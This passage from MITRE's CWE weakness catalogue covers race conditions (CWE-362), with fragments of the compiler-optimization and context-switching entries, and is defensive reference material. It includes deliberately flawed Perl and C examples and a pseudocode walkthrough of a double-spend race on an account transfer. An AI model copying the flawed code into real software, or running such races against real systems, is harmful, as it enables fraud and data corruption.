MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.883CERT C++ Secure Coding Section 49 - Miscellaneous (MSC)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1398Comprehensive Categorization: Component Interaction
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsInsecure Compiler Optimization
PLOVERSensitive memory uncleared by compiler optimization
OWASP Top Ten 2004A8CWE More SpecificInsecure Storage
CERT C Secure CodingMSC06-CBe aware of compiler optimization when dealing with sensitive data
Software Fault PatternsSFP23Exposed Data
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 9, "A Compiler Optimization Caveat" Page 322. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-124] Michael Howard. "When scrubbing secrets in memory doesn't work". BugTraq. 2002-11-05. <http://cert.uni-stuttgart.de/archive/bugtraq/2002/11/msg00046.html>.
[REF-125] Michael Howard. "Some Bad News and Some Good News". Microsoft. 2002-10-21. <https://learn.microsoft.com/en-us/previous-versions/ms972826(v=msdn.10)>. URL validated: 2023-04-07.
[REF-126] Joseph Wagner. "GNU GCC: Optimizer Removes Code Necessary for Security". Bugtraq. 2002-11-16. <https://seclists.org/bugtraq/2002/Nov/266>. URL validated: 2023-04-07.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2008-11-24CWE Content TeamMITRE
updated Applicable_Platforms, Description, Detection_Factors, Other_Notes, Potential_Mitigations, Relationships, Taxonomy_Mappings, Time_of_Introduction
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2010-02-16CWE Content TeamMITRE
updated References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated References, Relationships, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated References, Type
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples, Description
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Insecure Compiler Optimization

CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Weakness ID: 362
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product contains a code sequence that can run concurrently with other code, and the code sequence requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence that is operating concurrently.
+ Extended Description

This can have security implications when the expected synchronization is in security-critical code, such as recording whether a user is authenticated or modifying important state information that should not be influenced by an outsider.

A race condition occurs within concurrent environments, and is effectively a property of a code sequence. Depending on the context, a code sequence may be in the form of a function call, a small number of instructions, a series of program invocations, etc.

A race condition violates these properties, which are closely related:

  • Exclusivity - the code sequence is given exclusive access to the shared resource, i.e., no other code sequence can modify properties of the shared resource before the original sequence has completed execution.
  • Atomicity - the code sequence is behaviorally atomic, i.e., no other thread or process can concurrently execute the same sequence of instructions (or a subset) against the same resource.

A race condition exists when an "interfering code sequence" can still access the shared resource, violating exclusivity. Programmers may assume that certain code sequences execute too quickly to be affected by an interfering code sequence; when they are not, this violates atomicity. For example, the single "x++" statement may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read (the original value of x), followed by a computation (x+1), followed by a write (save the result to x).

The interfering code sequence could be "trusted" or "untrusted." A trusted interfering code sequence occurs within the product; it cannot be modified by the attacker, and it can only be invoked indirectly. An untrusted interfering code sequence can be authored directly by the attacker, and typically it is external to the vulnerable product.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.691Insufficient Control Flow Management
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.364Signal Handler Race Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.366Race Condition within a Thread
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.367Time-of-check Time-of-use (TOCTOU) Race Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.368Context Switching Race Condition
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.421Race Condition During Access to Alternate Channel
ParentOfCompositeComposite - a Compound Element that consists of two or more distinct weaknesses, in which all weaknesses must be present at the same time in order for a potential vulnerability to arise. Removing any of the weaknesses eliminates or sharply reduces the risk. One weakness, X, can be "broken down" into component weaknesses Y and Z. There can be cases in which one weakness might not be essential to a composite, but changes the nature of the composite when it becomes a vulnerability.689Permission Race Condition During Resource Copy
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1223Race Condition for Write-Once Attributes
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1298Hardware Logic Contains Race Conditions
CanFollowClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.367Time-of-check Time-of-use (TOCTOU) Race Condition
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Sometimes Prevalent)

C++ (Sometimes Prevalent)

Java (Sometimes Prevalent)

Technologies

Class: Mobile (Undetermined Prevalence)

Class: ICS/OT (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Resource Consumption (Other)

When a race condition makes it possible to bypass a resource cleanup routine or trigger multiple initialization routines, it may lead to resource exhaustion (CWE-400).
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Instability

When a race condition allows multiple control flows to access a resource simultaneously, it might lead the product(s) into unexpected states, possibly resulting in a crash.
Confidentiality
Integrity

Technical Impact: Read Files or Directories; Read Application Data

When a race condition is combined with predictable resource names and loose permissions, it may be possible for an attacker to overwrite or access confidential data (CWE-59).
+ Likelihood Of Exploit
Medium
+ Demonstrative Examples

Example 1

This code could be used in an e-commerce application that supports transfers between accounts. It takes the total amount of the transfer, sends it to the new account, and deducts the amount from the original account.

(bad code)
Example Language: Perl 
$transfer_amount = GetTransferAmount();
$balance = GetBalanceFromDatabase();

if ($transfer_amount < 0) {
FatalError("Bad Transfer Amount");
}
$newbalance = $balance - $transfer_amount;
if (($balance - $transfer_amount) < 0) {
FatalError("Insufficient Funds");
}
SendNewBalanceToDatabase($newbalance);
NotifyUser("Transfer of $transfer_amount succeeded.");
NotifyUser("New balance: $newbalance");

A race condition could occur between the calls to GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Suppose the balance is initially 100.00. An attack could be constructed as follows:

(attack code)
Example Language: Other 
In the following pseudocode, the attacker makes two simultaneous calls of the program, CALLER-1 and CALLER-2. Both callers are for the same user account.
CALLER-1 (the attacker) is associated with PROGRAM-1 (the instance that handles CALLER-1). CALLER-2 is associated with PROGRAM-2.
CALLER-1 makes a transfer request of 80.00.
PROGRAM-1 calls GetBalanceFromDatabase and sets $balance to 100.00
PROGRAM-1 calculates $newbalance as 20.00, then calls SendNewBalanceToDatabase().
Due to high server load, the PROGRAM-1 call to SendNewBalanceToDatabase() encounters a delay.
CALLER-2 makes a transfer request of 1.00.
PROGRAM-2 calls GetBalanceFromDatabase() and sets $balance to 100.00. This happens because the previous PROGRAM-1 request was not processed yet.
PROGRAM-2 determines the new balance as 99.00.
After the initial delay, PROGRAM-1 commits its balance to the database, setting it to 20.00.
PROGRAM-2 sends a request to update the database, setting the balance to 99.00

At this stage, the attacker should have a balance of 19.00 (due to 81.00 worth of transfers), but the balance is 99.00, as recorded in the database.

To prevent this weakness, the programmer has several options, including using a lock to prevent multiple simultaneous requests to the web application, or using a synchronization mechanism that includes all the code between GetBalanceFromDatabase() and SendNewBalanceToDatabase().

Example 2

The following function attempts to acquire a lock in order to perform operations on a shared resource.

(bad code)
Example Language:
void f(pthread_mutex_t *mutex) {
pthread_mutex_lock(mutex);

/* access shared resource */


pthread_mutex_unlock(mutex);
}

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

(good code)
Example Language:
int f(pthread_mutex_t *mutex) {
int result;

result = pthread_mutex_lock(mutex);
if (0 != result)
return result;


/* access shared resource */


return pthread_mutex_unlock(mutex);
}

Example 3

Suppose a processor's Memory Management Unit (MMU) has 5 other shadow MMUs to distribute its workload for its various cores. Each MMU has the start address and end address of "accessible" memory. Any time this accessible range changes (as per the processor's boot status), the main MMU sends an update message to all the shadow MMUs.

Suppose the interconnect fabric does not prioritize such "update" packets over other general traffic packets. This introduces a race condition. If an attacker can flood the target with enough messages so that some of those attack packets reach the target before the new access ranges gets updated, then the attacker can leverage this scenario.

+ Observed Examples
ReferenceDescription
Go application for cloud management creates a world-writable sudoers file that allows local attackers to inject sudo rules and escalate privileges to root by winning a race condition.
Chain: improper locking (CWE-667) leads to race condition (CWE-362), as exploited in the wild per CISA KEV.
Chain: mobile platform race condition (CWE-362) leading to use-after-free (CWE-416), as exploited in the wild per CISA KEV.
Chain: race condition (CWE-362) leads to use-after-free (CWE-416), as exploited in the wild per CISA KEV.
chain: JTAG interface is not disabled (CWE-1191) during ROM code execution, introducing a race condition (CWE-362) to extract encryption keys
Chain: race condition (CWE-362) in anti-malware product allows deletion of files by creating a junction (CWE-1386) and using hard links during the time window in which a temporary file is created and deleted.
TOCTOU in sandbox process allows installation of untrusted browser add-ons by replacing a file after it has been verified, but before it is executed
Chain: chipset has a race condition (CWE-362) between when an interrupt handler detects an attempt to write-enable the BIOS (in violation of the lock bit), and when the handler resets the write-enable bit back to 0, allowing attackers to issue BIOS writes during the timing window [REF-1237].
Race condition leading to a crash by calling a hook removal procedure while other activities are occurring at the same time.
chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
chain: time-of-check time-of-use (TOCTOU) race condition in program allows bypass of protection mechanism that was designed to prevent symlink attacks.
Unsynchronized caching operation enables a race condition that causes messages to be sent to a deallocated object.
Race condition during initialization triggers a buffer overflow.
Daemon crash by quickly performing operations and undoing them, which eventually leads to an operation that does not acquire a lock.
chain: race condition triggers NULL pointer dereference
Race condition in library function could cause data to be sent to the wrong process.
Race condition in file parser leads to heap corruption.
chain: race condition allows attacker to access an object while it is still being initialized, causing software to access uninitialized memory.
chain: race condition for an argument value, possibly resulting in NULL dereference
chain: race condition might allow resource to be released before operating on it, leading to NULL dereference
Chain: Signal handler contains too much functionality (CWE-828), introducing a race condition (CWE-362) that leads to a double free (CWE-415).
+ Potential Mitigations

Phase: Architecture and Design

In languages that support it, use synchronization primitives. Only wrap these around critical code to minimize the impact on performance.

Phase: Architecture and Design

Use thread-safe capabilities such as the data access abstraction in Spring.

Phase: Architecture and Design

Minimize the usage of shared resources in order to remove as much complexity as possible from the control flow and to reduce the likelihood of unexpected conditions occurring.

Additionally, this will minimize the amount of synchronization necessary and may even help to reduce the likelihood of a denial of service where an attacker may be able to repeatedly trigger a critical section (CWE-400).

Phase: Implementation

When using multithreading and operating on shared variables, only use thread-safe functions.

Phase: Implementation

Use atomic operations on shared variables. Be wary of innocent-looking constructs such as "x++". This may appear atomic at the code layer, but it is actually non-atomic at the instruction layer, since it involves a read, followed by a computation, followed by a write.

Phase: Implementation

Use a mutex if available, but be sure to avoid related weaknesses such as CWE-412.

Phase: Implementation

Avoid double-checked locking (CWE-609) and other implementation errors that arise when trying to avoid the overhead of synchronization.

Phase: Implementation

Disable interrupts or signals over critical parts of the code, but also make sure that the code does not go into a large or infinite loop.

Phase: Implementation

Use the volatile type modifier for critical variables to avoid unexpected compiler optimization or reordering. This does not necessarily solve the synchronization problem, but it can help.

Phases: Architecture and Design; Operation

Strategy: Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
+ Detection Methods

Black Box

Black box methods may be able to identify evidence of race conditions via methods such as multiple simultaneous connections, which may cause the software to become instable or crash. However, race conditions with very narrow timing windows would not be detectable.

White Box

Common idioms are detectable in white box analysis, such as time-of-check-time-of-use (TOCTOU) file operations (CWE-367), or double-checked locking (CWE-609).

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Race conditions may be detected with a stress-test by calling the software simultaneously from a large number of threads or processes, and look for evidence of any unexpected behavior.

Insert breakpoints or delays in between relevant code statements to artificially expand the race window so that it will be easier to detect.

Effectiveness: Moderate

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Cost effective for partial coverage:
  • Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: High

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:
  • Web Application Scanner
  • Web Services Scanner
  • Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Framework-based Fuzzer
Cost effective for partial coverage:
  • Fuzz Tester
  • Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Effectiveness: High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Manual Source Code Review (not inspections)
Cost effective for partial coverage:
  • Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness: High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Source code Weakness Analyzer
  • Context-configured Source Code Weakness Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:
  • Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
  • Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).635Weaknesses Originally Used by NVD from 2008 to 2016
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.743CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.7512009 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8012010 Top 25 - Insecure Interaction Between Components
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.852The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.8672011 Top 25 - Weaknesses On the Cusp
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.877CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.882CERT C++ Secure Coding Section 14 - Concurrency (CON)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.988SFP Secondary Cluster: Race Condition Window
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1142SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1364ICS Communications: Zone Boundary Failures
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1365ICS Communications: Unreliability
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1366ICS Communications: Frail Security in Protocols
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1376ICS Engineering (Construction/Deployment): Security Gaps in Commissioning
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1387Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1425Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Notes

Research Gap

Race conditions in web applications are under-studied and probably under-reported. However, in 2008 there has been growing interest in this area.

Research Gap

Much of the focus of race condition research has been in Time-of-check Time-of-use (TOCTOU) variants (CWE-367), but many race conditions are related to synchronization problems that do not necessarily require a time-of-check.

Research Gap

From a classification/taxonomy perspective, the relationships between concurrency and program state need closer investigation and may be useful in organizing related issues.

Maintenance

The relationship between race conditions and synchronization problems (CWE-662) needs to be further developed. They are not necessarily two perspectives of the same core concept, since synchronization is only one technique for avoiding race conditions, and synchronization can be used for other purposes besides race condition prevention.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERRace Conditions
The CERT Oracle Secure Coding Standard for Java (2011)VNA03-JDo not assume that a group of calls to independently atomic methods is atomic
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.
[REF-349] Andrei Alexandrescu. "volatile - Multithreaded Programmer's Best Friend". Dr. Dobb's. 2008-02-01. <https://drdobbs.com/cpp/volatile-the-multithreaded-programmers-b/184403766>. URL validated: 2023-04-07.
[REF-350] Steven Devijver. "Thread-safe webapps using Spring". <https://web.archive.org/web/20170609174845/http://www.javalobby.org/articles/thread-safe/index.jsp>. URL validated: 2023-04-07.
[REF-351] David Wheeler. "Prevent race conditions". 2007-10-04. <https://www.ida.liu.se/~TDDC90/literature/papers/SP-race-conditions.pdf>. URL validated: 2023-04-07.
[REF-352] Matt Bishop. "Race Conditions, Files, and Security Flaws; or the Tortoise and the Hare Redux". 1995-09. <https://seclab.cs.ucdavis.edu/projects/vulnerabilities/scriv/ucd-ecs-95-08.pdf>. URL validated: 2023-04-07.
[REF-353] David Wheeler. "Secure Programming for Linux and Unix HOWTO". 2003-03-03. <https://dwheeler.com/secure-programs/Secure-Programs-HOWTO/avoid-race.html>. URL validated: 2023-04-07.
[REF-354] Blake Watts. "Discovering and Exploiting Named Pipe Security Flaws for Fun and Profit". 2002-04. <https://www.blakewatts.com/blog/discovering-and-exploiting-named-pipe-security-flaws-for-fun-and-profit>. URL validated: 2023-04-07.
[REF-355] Roberto Paleari, Davide Marrone, Danilo Bruschi and Mattia Monga. "On Race Vulnerabilities in Web Applications". <http://security.dico.unimi.it/~roberto/pubs/dimva08-web.pdf>.
[REF-356] "Avoiding Race Conditions and Insecure File Operations". Apple Developer Connection. <https://web.archive.org/web/20081010155022/http://developer.apple.com/documentation/Security/Conceptual/SecureCodingGuide/Articles/RaceConditions.html>. URL validated: 2023-04-07.
[REF-357] Johannes Ullrich. "Top 25 Series - Rank 25 - Race Conditions". SANS Software Security Institute. 2010-03-26. <https://web.archive.org/web/20100530231203/http://blogs.sans.org:80/appsecstreetfighter/2010/03/26/top-25-series-rank-25-race-conditions/>. URL validated: 2023-04-07.
[REF-76] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. <https://web.archive.org/web/20211209014121/https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege>. URL validated: 2023-04-07.
[REF-1237] CERT Coordination Center. "Intel BIOS locking mechanism contains race condition that enables write protection bypass". 2015-01-05. <https://www.kb.cert.org/vuls/id/766164/>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2010-04-30Martin SeborCisco Systems, Inc.
Provided Demonstrative Example
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Relationships
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-01-12CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Likelihood_of_Exploit, Maintenance_Notes, Observed_Examples, Potential_Mitigations, References, Relationships, Research_Gaps
2009-03-10CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2009-05-27CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2010-06-21CWE Content TeamMITRE
updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References
2010-09-27CWE Content TeamMITRE
updated Observed_Examples, Potential_Mitigations, Relationships
2010-12-13CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Description, Name, Potential_Mitigations, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27CWE Content TeamMITRE
updated Relationships
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Potential_Mitigations, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Detection_Factors, Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, References, Research_Gaps, Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2019-06-20CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Applicable_Platforms, Demonstrative_Examples, Observed_Examples, Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2021-10-28CWE Content TeamMITRE
updated Observed_Examples, References
2022-04-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-06-28CWE Content TeamMITRE
updated Observed_Examples, Relationships
2022-10-13CWE Content TeamMITRE
updated Observed_Examples, References
2023-01-31CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Description
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes, Relationships
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Race Conditions
2010-12-13Race Condition

CWE-368: Context Switching Race Condition

Weakness ID: 368
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A product performs a series of non-atomic actions to switch between contexts that cross privilege or other security boundaries, but a race condition allows an attacker to modify or misrepresent the product's behavior during the switch.
+ Extended Description
This is commonly seen in web browser vulnerabilities in which the attacker can perform certain actions while the browser is transitioning from a trusted to an untrusted domain, or vice versa, and the browser performs the actions on one domain using the trust level and resources of the other domain.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
